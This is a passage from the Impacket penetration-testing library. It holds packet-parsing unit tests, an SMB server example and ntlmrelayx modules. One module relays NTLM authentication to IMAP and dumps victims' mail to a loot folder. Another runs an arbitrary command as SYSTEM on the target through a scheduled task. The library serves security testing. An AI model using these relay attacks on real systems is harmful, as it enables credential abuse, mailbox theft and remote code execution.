attacks, consider using the SOCKS feature. 30 | """ 31 | PLUGIN_NAMES = ["IMAP", "IMAPS"] 32 | def run(self): 33 | #Default action: Search the INBOX 34 | targetBox = self.config.mailbox 35 | result, data = self.client.select(targetBox,True) #True indicates readonly 36 | if result != 'OK': 37 | LOG.error('Could not open mailbox %s: %s' % (targetBox, data)) 38 | LOG.info('Opening mailbox INBOX') 39 | targetBox = 'INBOX' 40 | result, data = self.client.select(targetBox,True) #True indicates readonly 41 | inboxCount = int(data[0]) 42 | LOG.info('Found %s messages in mailbox %s' % (inboxCount, targetBox)) 43 | #If we should not dump all, search for the keyword 44 | if not self.config.dump_all: 45 | result, rawdata = self.client.search(None, 'OR', 'SUBJECT', '"%s"' % self.config.keyword, 'BODY', '"%s"' % self.config.keyword) 46 | #Check if search worked 47 | if result != 'OK': 48 | LOG.error('Search failed: %s' % rawdata) 49 | return 50 | dumpMessages = [] 51 | #message IDs are separated by spaces 52 | for msgs in rawdata: 53 | dumpMessages += msgs.split(' ') 54 | if self.config.dump_max != 0 and len(dumpMessages) > self.config.dump_max: 55 | dumpMessages = dumpMessages[:self.config.dump_max] 56 | else: 57 | #Dump all mails, up to the maximum number configured 58 | if self.config.dump_max == 0 or self.config.dump_max > inboxCount: 59 | dumpMessages = list(range(1, inboxCount+1)) 60 | else: 61 | dumpMessages = list(range(1, self.config.dump_max+1)) 62 | 63 | numMsgs = len(dumpMessages) 64 | if numMsgs == 0: 65 | LOG.info('No messages were found containing the search keywords') 66 | else: 67 | LOG.info('Dumping %d messages found by search for "%s"' % (numMsgs, self.config.keyword)) 68 | for i, msgIndex in enumerate(dumpMessages): 69 | #Fetch the message 70 | result, rawMessage = self.client.fetch(msgIndex, '(RFC822)') 71 | if result != 'OK': 72 | LOG.error('Could not fetch message with index %s: %s' % (msgIndex, rawMessage)) 73 | continue 74 | 75 | #Replace any special chars in the mailbox name and username 76 | mailboxName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', targetBox) 77 | textUserName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', self.username) 78 | 79 | #Combine username with mailboxname and mail number 80 | fileName = 'mail_' + textUserName + '-' + mailboxName + '_' + str(msgIndex) + '.eml' 81 | 82 | #Write it to the file 83 | with open(os.path.join(self.config.lootdir,fileName),'w') as of: 84 | of.write(rawMessage[0][1]) 85 | LOG.info('Done fetching message %d/%d' % (i+1,numMsgs)) 86 | 87 | #Close connection cleanly 88 | self.client.logout() 89 | -------------------------------------------------------------------------------- /tests/dot11/test_WPA2.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # sorry, this is very ugly, but I'm in python 2.5 3 | import sys 4 | sys.path.insert(0,"../..") 5 | 6 | from impacket.dot11 import Dot11,Dot11Types,Dot11DataFrame,Dot11WPA2,Dot11WPA2Data 7 | import unittest 8 | 9 | class TestDot11WPA2Data(unittest.TestCase): 10 | 11 | def setUp(self): 12 | # 802.11 Data Frame 13 | # 14 | self.frame_orig=b'\x08\x49\x24\x00\x00\x21\x29\x68\x33\x5d\x00\x15\xaf\xe4\xf1\x0f\x00\x21\x29\x68\x33\x5b\xe0\x31\x1b\x13\x00\x20\x00\x00\x00\x00\x84\x7d\x6a\x30\x8c\x60\x7e\x3b\x22\xdc\x16\xc1\x4b\x28\xd3\x26\x76\x9d\x2e\x59\x96\x31\x3e\x01\x6f\x61\xa2\x59\xc8\xdc\xd3\xc4\xad\x7c\xcc\x32\xa8\x9f\xf6\x03\x02\xe1\xac\x1d\x1e\x02\x8a\xcd\x5b\x94\x20\x2d\xfc\x6e\x37\x40\x2e\x46\x17\x19\x0c\xc0\x34\x07\xae\xe7\x77\xaf\xf9\x9f\x41\x53' 15 | d = Dot11(self.frame_orig) 16 | 17 | self.assertEqual(d.get_type(),Dot11Types.DOT11_TYPE_DATA) 18 | self.assertEqual(d.get_subtype(),Dot11Types.DOT11_SUBTYPE_DATA) 19 | self.assertEqual(d.get_type_n_subtype(),Dot11Types.DOT11_TYPE_DATA_SUBTYPE_DATA) 20 | 21 | data = Dot11DataFrame(d.get_body_as_string()) 22 | d.contains(data) 23 | 24 | self.wpa2_header = Dot11WPA2(data.body_string) 25 | data.contains(self.wpa2_header) 26 | 27 | self.wpa2_data = Dot11WPA2Data(self.wpa2_header.body_string) 28 | self.wpa2_header.contains(self.wpa2_data) 29 | 30 | def test_01_is_WPA2(self): 31 | 'Test WPA2Header is_WPA2 method' 32 | self.assertEqual(self.wpa2_header.is_WPA2(), True) 33 | 34 | def test_03_extIV(self): 35 | 'Test WPA2Header extIV getter and setter methods' 36 | self.assertEqual(self.wpa2_header.get_extIV(), 0x01) 37 | 38 | self.wpa2_header.set_extIV(0x00) # Es de 1 bit 39 | self.assertEqual(self.wpa2_header.get_extIV(), 0x00) 40 | 41 | def test_04_keyid(self): 42 | 'Test WPA2Header keyID getter and setter methods' 43 | self.assertEqual(self.wpa2_header.get_keyid(), 0x00) 44 | 45 | self.wpa2_header.set_keyid(0x03) # Es de 2 bits 46 | self.assertEqual(self.wpa2_header.get_keyid(), 0x03) 47 | 48 | #TODO: Test get_decrypted_data 49 | #def test_05_get_decrypted_data(self): 50 | 51 | def test_06_PNs(self): 52 | 'Test WPA2Data PN0 to PN5 getter and setter methods' 53 | # PN0 54 | self.assertEqual(self.wpa2_header.get_PN0(), 0x1b) 55 | self.wpa2_header.set_PN0(0xAB) 56 | self.assertEqual(self.wpa2_header.get_PN0(), 0xAB) 57 | 58 | # PN1 59 | self.assertEqual(self.wpa2_header.get_PN1(), 0x13) 60 | self.wpa2_header.set_PN1(0xAB) 61 | self.assertEqual(self.wpa2_header.get_PN1(), 0xAB) 62 | 63 | # PN2 64 | self.assertEqual(self.wpa2_header.get_PN2(), 0x00) 65 | self.wpa2_header.set_PN2(0xAB) 66 | self.assertEqual(self.wpa2_header.get_PN2(), 0xAB) 67 | 68 | # PN3 69 | self.assertEqual(self.wpa2_header.get_PN3(), 0x00) 70 | self.wpa2_header.set_PN3(0xAB) 71 | self.assertEqual(self.wpa2_header.get_PN3(), 0xAB) 72 | 73 | # PN4 74 | self.assertEqual(self.wpa2_header.get_PN4(), 0x00) 75 | self.wpa2_header.set_PN4(0xAB) 76 | self.assertEqual(self.wpa2_header.get_PN4(), 0xAB) 77 | 78 | # PN5 79 | self.assertEqual(self.wpa2_header.get_PN5(), 0x00) 80 | self.wpa2_header.set_PN5(0xAB) 81 | self.assertEqual(self.wpa2_header.get_PN5(), 0xAB) 82 | 83 | def test_07_data(self): 84 | 'Test WPA2Data body' 85 | data=b'\x84\x7d\x6a\x30\x8c\x60\x7e\x3b\x22\xdc\x16\xc1\x4b\x28\xd3\x26\x76\x9d\x2e\x59\x96\x31\x3e\x01\x6f\x61\xa2\x59\xc8\xdc\xd3\xc4\xad\x7c\xcc\x32\xa8\x9f\xf6\x03\x02\xe1\xac\x1d\x1e\x02\x8a\xcd\x5b\x94\x20\x2d\xfc\x6e\x37\x40\x2e\x46\x17\x19' 86 | self.assertEqual(self.wpa2_data.body_string, data) 87 | 88 | def test_08_mic(self): 89 | 'Test WPA2Data MIC field' 90 | mic=b'\x0c\xc0\x34\x07\xae\xe7\x77\xaf' 91 | self.assertEqual(self.wpa2_data.get_MIC(), mic) 92 | 93 | mic=b'\x01\x02\x03\x04\xff\xfe\xfd\xfc' 94 | self.wpa2_data.set_MIC(mic) 95 | self.assertEqual(self.wpa2_data.get_MIC(), mic) 96 | 97 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11WPA2Data) 98 | unittest.TextTestRunner(verbosity=1).run(suite) 99 | -------------------------------------------------------------------------------- /tests/dot11/test_FrameData.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # sorry, this is very ugly, but I'm in python 2.5 3 | import sys 4 | sys.path.insert(0,"../..") 5 | 6 | from impacket.dot11 import Dot11, Dot11Types, Dot11DataFrame 7 | import unittest 8 | 9 | class TestDot11DataFrames(unittest.TestCase): 10 | 11 | def setUp(self): 12 | # 802.11 Data Frame 13 | # 14 | self.frame_orig=b'\x08\x01\x30\x00\x00\x08\x54\xac\x2f\x85\x00\x23\x4d\x09\x86\xfe\x00\x08\x54\xac\x2f\x85\x40\x44\xaa\xaa\x03\x00\x00\x00\x08\x00\x45\x00\x00\x28\x72\x37\x40\x00\x80\x06\x6c\x22\xc0\xa8\x01\x02\xc3\x7a\x97\x51\xd7\xa0\x00\x50\xa5\xa5\xb1\xe0\x12\x1c\xa9\xe1\x50\x10\x4e\x75\x59\x74\x00\x00\xed\x13\x22\x91' 15 | 16 | d = Dot11(self.frame_orig) 17 | 18 | type = d.get_type() 19 | self.assertEqual(type,Dot11Types.DOT11_TYPE_DATA) 20 | 21 | subtype = d.get_subtype() 22 | self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_DATA) 23 | 24 | typesubtype = d.get_type_n_subtype() 25 | self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_DATA_SUBTYPE_DATA) 26 | 27 | self.data = Dot11DataFrame(d.get_body_as_string()) 28 | 29 | d.contains(self.data) 30 | 31 | def test_01_HeaderSize(self): 32 | 'Test Header and Tail Size field' 33 | self.assertEqual(self.data.get_header_size(), 22) 34 | self.assertEqual(self.data.get_tail_size(), 0) 35 | 36 | def test_02_Duration(self): 37 | 'Test Duration field' 38 | 39 | self.assertEqual(self.data.get_duration(), 0x30) 40 | self.data.set_duration(0x1234) 41 | self.assertEqual(self.data.get_duration(), 0x1234) 42 | 43 | def test_03_Address_1(self): 44 | 'Test Address 1 field' 45 | 46 | addr=self.data.get_address1() 47 | 48 | self.assertEqual(addr.tolist(), [0x00,0x08,0x54,0xac,0x2f,0x85]) 49 | addr[0]=0x12 50 | addr[5]=0x34 51 | self.data.set_address1(addr) 52 | self.assertEqual(self.data.get_address1().tolist(), [0x12,0x08,0x54,0xac,0x2f,0x34]) 53 | 54 | def test_04_Address_2(self): 55 | 'Test Address 2 field' 56 | 57 | addr=self.data.get_address2() 58 | 59 | self.assertEqual(addr.tolist(), [0x00,0x23,0x4d,0x09,0x86,0xfe]) 60 | addr[0]=0x12 61 | addr[5]=0x34 62 | self.data.set_address2(addr) 63 | self.assertEqual(self.data.get_address2().tolist(), [0x12,0x23,0x4d,0x09,0x86,0x34]) 64 | 65 | def test_05_Address_3(self): 66 | 'Test Address 3 field' 67 | 68 | addr=self.data.get_address3() 69 | 70 | self.assertEqual(addr.tolist(), [0x00,0x08,0x54,0xac,0x2f,0x85]) 71 | addr[0]=0x12 72 | addr[5]=0x34 73 | self.data.set_address3(addr) 74 | self.assertEqual(self.data.get_address3().tolist(), [0x12,0x08,0x54,0xac,0x2f,0x34]) 75 | 76 | def test_06_sequence_control(self): 77 | 'Test Sequence control field' 78 | self.assertEqual(self.data.get_sequence_control(), 0x4440) 79 | self.data.set_sequence_control(0x1234) 80 | self.assertEqual(self.data.get_sequence_control(), 0x1234) 81 | 82 | def test_07_fragment_number(self): 83 | 'Test Fragment number field' 84 | self.assertEqual(self.data.get_fragment_number(), 0x0000) 85 | self.data.set_fragment_number(0xF1) # Es de 4 bit 86 | self.assertEqual(self.data.get_fragment_number(), 0x01) 87 | 88 | def test_08_sequence_number(self): 89 | 'Test Sequence number field' 90 | self.assertEqual(self.data.get_sequence_number(), 0x0444) 91 | self.data.set_sequence_number(0xF234) # Es de 12 bit 92 | self.assertEqual(self.data.get_sequence_number(), 0x0234) 93 | 94 | def test_09_frame_data(self): 95 | 'Test Frame Data field' 96 | # Test with packet without addr4 97 | frame_body=b"\xaa\xaa\x03\x00\x00\x00\x08\x00\x45\x00\x00\x28\x72\x37\x40\x00\x80\x06\x6c\x22\xc0\xa8\x01\x02\xc3\x7a\x97\x51\xd7\xa0\x00\x50\xa5\xa5\xb1\xe0\x12\x1c\xa9\xe1\x50\x10\x4e\x75\x59\x74\x00\x00" 98 | self.assertEqual(self.data.get_frame_body(), frame_body) 99 | 100 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11DataFrames) 101 | unittest.TextTestRunner(verbosity=1).run(suite) 102 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/clients/imaprelayclient.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # IMAP Protocol Client 8 | # 9 | # Author: 10 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 11 | # Alberto Solino (@agsolino) 12 | # 13 | # Description: 14 | # IMAP client for relaying NTLMSSP authentication to mailservers, for example Exchange 15 | # 16 | import imaplib 17 | import base64 18 | from struct import unpack 19 | 20 | from impacket import LOG 21 | from impacket.examples.ntlmrelayx.clients import ProtocolClient 22 | from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED 23 | from impacket.ntlm import NTLMAuthChallenge 24 | from impacket.spnego import SPNEGO_NegTokenResp 25 | 26 | PROTOCOL_CLIENT_CLASSES = ["IMAPRelayClient","IMAPSRelayClient"] 27 | 28 | class IMAPRelayClient(ProtocolClient): 29 | PLUGIN_NAME = "IMAP" 30 | 31 | def __init__(self, serverConfig, target, targetPort = 143, extendedSecurity=True ): 32 | ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 33 | 34 | def initConnection(self): 35 | self.session = imaplib.IMAP4(self.targetHost,self.targetPort) 36 | self.authTag = self.session._new_tag() 37 | LOG.debug('IMAP CAPABILITIES: %s' % str(self.session.capabilities)) 38 | if 'AUTH=NTLM' not in self.session.capabilities: 39 | LOG.error('IMAP server does not support NTLM authentication!') 40 | return False 41 | return True 42 | 43 | def sendNegotiate(self,negotiateMessage): 44 | negotiate = base64.b64encode(negotiateMessage) 45 | self.session.send('%s AUTHENTICATE NTLM%s' % (self.authTag,imaplib.CRLF)) 46 | resp = self.session.readline().strip() 47 | if resp != '+': 48 | LOG.error('IMAP Client error, expected continuation (+), got %s ' % resp) 49 | return False 50 | else: 51 | self.session.send(negotiate + imaplib.CRLF) 52 | try: 53 | serverChallengeBase64 = self.session.readline().strip()[2:] #first two chars are the continuation and space char 54 | serverChallenge = base64.b64decode(serverChallengeBase64) 55 | challenge = NTLMAuthChallenge() 56 | challenge.fromString(serverChallenge) 57 | return challenge 58 | except (IndexError, KeyError, AttributeError): 59 | LOG.error('No NTLM challenge returned from IMAP server') 60 | raise 61 | 62 | def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 63 | if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: 64 | respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) 65 | token = respToken2['ResponseToken'] 66 | else: 67 | token = authenticateMessageBlob 68 | auth = base64.b64encode(token) 69 | self.session.send(auth + imaplib.CRLF) 70 | typ, data = self.session._get_tagged_response(self.authTag) 71 | if typ == 'OK': 72 | self.session.state = 'AUTH' 73 | return None, STATUS_SUCCESS 74 | else: 75 | LOG.error('IMAP: %s' % ' '.join(data)) 76 | return None, STATUS_ACCESS_DENIED 77 | 78 | def killConnection(self): 79 | if self.session is not None: 80 | self.session.logout() 81 | self.session = None 82 | 83 | def keepAlive(self): 84 | # Send a NOOP 85 | self.session.noop() 86 | 87 | class IMAPSRelayClient(IMAPRelayClient): 88 | PLUGIN_NAME = "IMAPS" 89 | 90 | def __init__(self, serverConfig, targetHost, targetPort = 993, extendedSecurity=True ): 91 | ProtocolClient.__init__(self, serverConfig, targetHost, targetPort, extendedSecurity) 92 | 93 | def initConnection(self): 94 | self.session = imaplib.IMAP4_SSL(self.targetHost,self.targetPort) 95 | self.authTag = self.session._new_tag() 96 | LOG.debug('IMAP CAPABILITIES: %s' % str(self.session.capabilities)) 97 | if 'AUTH=NTLM' not in self.session.capabilities: 98 | LOG.error('IMAP server does not support NTLM authentication!') 99 | return False 100 | return True 101 | -------------------------------------------------------------------------------- /tests/SMB_RPC/test_fasp.py: -------------------------------------------------------------------------------- 1 | ############################################################################### 2 | # Tested so far: 3 | # 4 | # FWOpenPolicyStore 5 | # 6 | # Not yet: 7 | # 8 | # Shouldn't dump errors against a win7 9 | # 10 | ################################################################################ 11 | 12 | import unittest 13 | 14 | from six.moves import configparser 15 | 16 | from impacket.dcerpc.v5 import transport, epm, fasp 17 | from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY 18 | 19 | 20 | class FASPTests(unittest.TestCase): 21 | def connect(self): 22 | rpctransport = transport.DCERPCTransportFactory(self.stringBinding) 23 | if len(self.hashes) > 0: 24 | lmhash, nthash = self.hashes.split(':') 25 | else: 26 | lmhash = '' 27 | nthash = '' 28 | if hasattr(rpctransport, 'set_credentials'): 29 | # This method exists only for selected protocol sequences. 30 | rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash) 31 | dce = rpctransport.get_dce_rpc() 32 | dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) 33 | dce.connect() 34 | dce.bind(fasp.MSRPC_UUID_FASP, transfer_syntax = self.ts) 35 | 36 | return dce, rpctransport 37 | 38 | def test_FWOpenPolicyStore(self): 39 | dce, rpctransport = self.connect() 40 | request = fasp.FWOpenPolicyStore() 41 | request['BinaryVersion'] = 0x0200 42 | request['StoreType'] = fasp.FW_STORE_TYPE.FW_STORE_TYPE_LOCAL 43 | request['AccessRight'] = fasp.FW_POLICY_ACCESS_RIGHT.FW_POLICY_ACCESS_RIGHT_READ 44 | request['dwFlags'] = 0 45 | resp = dce.request(request) 46 | resp.dump() 47 | 48 | def test_hFWOpenPolicyStore(self): 49 | dce, rpctransport = self.connect() 50 | resp = fasp.hFWOpenPolicyStore(dce) 51 | resp.dump() 52 | 53 | 54 | def test_FWClosePolicyStore(self): 55 | dce, rpctransport = self.connect() 56 | resp = fasp.hFWOpenPolicyStore(dce) 57 | request = fasp.FWClosePolicyStore() 58 | request['phPolicyStore'] = resp['phPolicyStore'] 59 | resp = dce.request(request) 60 | resp.dump() 61 | 62 | def test_hFWClosePolicyStore(self): 63 | dce, rpctransport = self.connect() 64 | resp = fasp.hFWOpenPolicyStore(dce) 65 | resp = fasp.hFWClosePolicyStore(dce,resp['phPolicyStore']) 66 | resp.dump() 67 | 68 | class TCPTransport(FASPTests): 69 | def setUp(self): 70 | FASPTests.setUp(self) 71 | configFile = configparser.ConfigParser() 72 | configFile.read('dcetests.cfg') 73 | self.username = configFile.get('TCPTransport', 'username') 74 | self.domain = configFile.get('TCPTransport', 'domain') 75 | self.serverName = configFile.get('TCPTransport', 'servername') 76 | self.password = configFile.get('TCPTransport', 'password') 77 | self.machine = configFile.get('TCPTransport', 'machine') 78 | self.hashes = configFile.get('TCPTransport', 'hashes') 79 | self.stringBinding = epm.hept_map(self.machine, fasp.MSRPC_UUID_FASP, protocol = 'ncacn_ip_tcp') 80 | self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0') 81 | 82 | class TCPTransport64(FASPTests): 83 | def setUp(self): 84 | FASPTests.setUp(self) 85 | configFile = configparser.ConfigParser() 86 | configFile.read('dcetests.cfg') 87 | self.username = configFile.get('TCPTransport', 'username') 88 | self.domain = configFile.get('TCPTransport', 'domain') 89 | self.serverName = configFile.get('TCPTransport', 'servername') 90 | self.password = configFile.get('TCPTransport', 'password') 91 | self.machine = configFile.get('TCPTransport', 'machine') 92 | self.hashes = configFile.get('TCPTransport', 'hashes') 93 | self.stringBinding = epm.hept_map(self.machine, fasp.MSRPC_UUID_FASP, protocol='ncacn_ip_tcp') 94 | self.ts = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0') 95 | 96 | # Process command-line arguments. 97 | if __name__ == '__main__': 98 | import sys 99 | if len(sys.argv) > 1: 100 | testcase = sys.argv[1] 101 | suite = unittest.TestLoader().loadTestsFromTestCase(globals()[testcase]) 102 | else: 103 | suite = unittest.TestLoader().loadTestsFromTestCase(TCPTransport) 104 | suite.addTests(unittest.TestLoader().loadTestsFromTestCase(TCPTransport64)) 105 | unittest.TextTestRunner(verbosity=1).run(suite) 106 | -------------------------------------------------------------------------------- /examples/smbserver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 3 | # 4 | # This software is provided under under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | # Simple SMB Server example. 9 | # 10 | # Author: 11 | # Alberto Solino (@agsolino) 12 | # 13 | 14 | import sys 15 | import argparse 16 | import logging 17 | 18 | from impacket.examples import logger 19 | from impacket import smbserver, version 20 | from impacket.ntlm import compute_lmhash, compute_nthash 21 | 22 | if __name__ == '__main__': 23 | 24 | # Init the example's logger theme 25 | print(version.BANNER) 26 | 27 | parser = argparse.ArgumentParser(add_help = True, description = "This script will launch a SMB Server and add a " 28 | "share specified as an argument. You need to be root in order to bind to port 445. " 29 | "For optional authentication, it is possible to specify username and password or the NTLM hash. " 30 | "Example: smbserver.py -comment 'My share' TMP /tmp") 31 | 32 | parser.add_argument('shareName', action='store', help='name of the share to add') 33 | parser.add_argument('sharePath', action='store', help='path of the share to add') 34 | parser.add_argument('-comment', action='store', help='share\'s comment to display when asked for shares') 35 | parser.add_argument('-username', action="store", help='Username to authenticate clients') 36 | parser.add_argument('-password', action="store", help='Password for the Username') 37 | parser.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes for the Username, format is LMHASH:NTHASH') 38 | parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') 39 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 40 | parser.add_argument('-ip', '--interface-address', action='store', default='0.0.0.0', help='ip address of listening interface') 41 | parser.add_argument('-port', action='store', default='445', help='TCP port for listening incoming connections (default 445)') 42 | parser.add_argument('-smb2support', action='store_true', default=False, help='SMB2 Support (experimental!)') 43 | 44 | if len(sys.argv)==1: 45 | parser.print_help() 46 | sys.exit(1) 47 | 48 | try: 49 | options = parser.parse_args() 50 | except Exception as e: 51 | logging.critical(str(e)) 52 | sys.exit(1) 53 | 54 | logger.init(options.ts) 55 | 56 | if options.debug is True: 57 | logging.getLogger().setLevel(logging.DEBUG) 58 | # Print the Library's installation path 59 | logging.debug(version.getInstallationPath()) 60 | else: 61 | logging.getLogger().setLevel(logging.INFO) 62 | 63 | if options.comment is None: 64 | comment = '' 65 | else: 66 | comment = options.comment 67 | 68 | server = smbserver.SimpleSMBServer(listenAddress=options.interface_address, listenPort=int(options.port)) 69 | 70 | server.addShare(options.shareName.upper(), options.sharePath, comment) 71 | server.setSMB2Support(options.smb2support) 72 | 73 | # If a user was specified, let's add it to the credentials for the SMBServer. If no user is specified, anonymous 74 | # connections will be allowed 75 | if options.username is not None: 76 | # we either need a password or hashes, if not, ask 77 | if options.password is None and options.hashes is None: 78 | from getpass import getpass 79 | password = getpass("Password:") 80 | # Let's convert to hashes 81 | lmhash = compute_lmhash(password) 82 | nthash = compute_nthash(password) 83 | elif options.password is not None: 84 | lmhash = compute_lmhash(options.password) 85 | nthash = compute_nthash(options.password) 86 | else: 87 | lmhash, nthash = options.hashes.split(':') 88 | 89 | server.addCredential(options.username, 0, lmhash, nthash) 90 | 91 | # Here you can set a custom SMB challenge in hex format 92 | # If empty defaults to '4141414141414141' 93 | # (remember: must be 16 hex bytes long) 94 | # e.g. server.setSMBChallenge('12345678abcdef00') 95 | server.setSMBChallenge('') 96 | 97 | # If you don't want log to stdout, comment the following line 98 | # If you want log dumped to a file, enter the filename 99 | server.setLogFile('') 100 | 101 | # Rock and roll 102 | server.start() 103 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/attacks/rpcattack.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2020 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Authors: 8 | # Arseniy Sharoglazov / Positive Technologies (https://www.ptsecurity.com/) 9 | # Based on @agsolino and @_dirkjan code 10 | # 11 | 12 | import time 13 | import string 14 | import random 15 | 16 | from impacket import LOG 17 | from impacket.dcerpc.v5 import tsch 18 | from impacket.dcerpc.v5.dtypes import NULL 19 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack 20 | 21 | PROTOCOL_ATTACK_CLASS = "RPCAttack" 22 | 23 | class TSCHRPCAttack: 24 | def _xml_escape(self, data): 25 | replace_table = { 26 | "&": "&", 27 | '"': """, 28 | "'": "'", 29 | ">": ">", 30 | "<": "<", 31 | } 32 | return ''.join(replace_table.get(c, c) for c in data) 33 | 34 | def _run(self): 35 | # Here PUT YOUR CODE! 36 | tmpName = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) 37 | 38 | cmd = "cmd.exe" 39 | args = "/C %s" % self.config.command 40 | 41 | LOG.info('Executing command %s in no output mode via %s' % (self.config.command, self.stringbinding)) 42 | 43 | xml = """ 44 | 45 | 46 | 47 | 2015-07-15T20:35:13.2757294 48 | true 49 | 50 | 1 51 | 52 | 53 | 54 | 55 | 56 | S-1-5-18 57 | HighestAvailable 58 | 59 | 60 | 61 | IgnoreNew 62 | false 63 | false 64 | true 65 | false 66 | 67 | true 68 | false 69 | 70 | true 71 | true 72 | true 73 | false 74 | false 75 | P3D 76 | 7 77 | 78 | 79 | 80 | %s 81 | %s 82 | 83 | 84 | 85 | """ % (self._xml_escape(cmd), self._xml_escape(args)) 86 | 87 | LOG.info('Creating task \\%s' % tmpName) 88 | tsch.hSchRpcRegisterTask(self.dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE) 89 | 90 | LOG.info('Running task \\%s' % tmpName) 91 | done = False 92 | 93 | tsch.hSchRpcRun(self.dce, '\\%s' % tmpName) 94 | 95 | while not done: 96 | LOG.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName) 97 | resp = tsch.hSchRpcGetLastRunInfo(self.dce, '\\%s' % tmpName) 98 | if resp['pLastRuntime']['wYear'] != 0: 99 | done = True 100 | else: 101 | time.sleep(2) 102 | 103 | LOG.info('Deleting task \\%s' % tmpName) 104 | tsch.hSchRpcDelete(self.dce, '\\%s' % tmpName) 105 | LOG.info('Completed!') 106 | 107 | 108 | class RPCAttack(ProtocolAttack, TSCHRPCAttack): 109 | PLUGIN_NAMES = ["RPC"] 110 | 111 | def __init__(self, config, dce, username): 112 | ProtocolAttack.__init__(self, config, dce, username) 113 | self.dce = dce 114 | self.rpctransport = dce.get_rpc_transport() 115 | self.stringbinding = self.rpctransport.get_stringbinding() 116 | 117 | def run(self): 118 | # Here PUT YOUR CODE! 119 | 120 | # Assume the endpoint is TSCH 121 | # TODO: support relaying RPC to different endpoints 122 | # TODO: support for providing a shell 123 | # TODO: support for getting an output 124 | if self.config.command is not None: 125 | TSCHRPCAttack._run(self) 126 | else: 127 | LOG.error("No command provided to attack") 128 | -------------------------------------------------------------------------------- /tests/ImpactPacket/test_ethernet.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import sys 4 | sys.path.insert(0,"../..") 5 | 6 | from impacket.ImpactPacket import Ethernet, EthernetTag 7 | from array import array 8 | import unittest 9 | 10 | class TestEthernet(unittest.TestCase): 11 | 12 | def setUp(self): 13 | # Ethernet frame with a 802.1Q tag (TPID=0x8100, PCP=5, DEI=0, VID=3315) 14 | # and ethertype 0x0800 (IPv4) 15 | self.frame = b'\x54\xab\xa3\xb9\x38\x3d\xe2\xef\x8d\xc7\xa8\x5e\x81\x00\xac\xf3\x08\x00' 16 | self.eth = Ethernet(self.frame) 17 | 18 | def test_01(self): 19 | """Test Ethernet getters""" 20 | self.assertEqual(self.eth.get_packet(), self.frame) 21 | self.assertEqual(self.eth.get_header_size(), 18) 22 | self.assertEqual(self.eth.get_ether_type(), 0x0800) 23 | 24 | # Check source and destination MACs 25 | self.assertEqual(self.eth.get_ether_dhost(), array('B', self.frame[0:6])) 26 | self.assertEqual(self.eth.get_ether_shost(), array('B', self.frame[6:12])) 27 | 28 | def test_02(self): 29 | """Test Ethernet setters""" 30 | self.eth.set_ether_type(0x88cc) 31 | self.assertEqual(self.eth.get_ether_type(), 0x88cc) 32 | 33 | # Swap source and destination MACs 34 | dhost = self.eth.get_ether_dhost() 35 | shost = self.eth.get_ether_shost() 36 | self.eth.set_ether_dhost(shost) 37 | self.eth.set_ether_shost(dhost) 38 | self.assertEqual(self.eth.get_ether_dhost(), array('B', self.frame[6:12])) 39 | self.assertEqual(self.eth.get_ether_shost(), array('B', self.frame[0:6])) 40 | 41 | def test_03(self): 42 | """Test EthernetTag getters""" 43 | tag = self.eth.pop_tag() 44 | self.assertEqual(tag.get_buffer_as_string(),b'\x81\x00\xac\xf3') 45 | self.assertEqual(tag.get_tpid(), 0x8100) 46 | self.assertEqual(tag.get_pcp(), 5) 47 | self.assertEqual(tag.get_dei(), 0) 48 | self.assertEqual(tag.get_vid(), 3315) 49 | 50 | def test_04(self): 51 | """Test EthernetTag setters""" 52 | tag = self.eth.pop_tag() 53 | tag.set_tpid(0x88a8) 54 | tag.set_pcp(2) 55 | tag.set_dei(1) 56 | tag.set_vid(876) 57 | self.assertEqual(tag.get_buffer_as_string(), b'\x88\xa8\x53\x6c') 58 | 59 | def test_05(self): 60 | """Test manipulation with VLAN tags""" 61 | def check_tags(*tags): 62 | self.assertEqual(self.eth.tag_cnt, len(tags)) 63 | self.assertEqual(self.eth.get_header_size(), 14 + 4*len(tags)) 64 | self.assertEqual(self.eth.get_ether_type(), 0x0800) 65 | for i,tag in 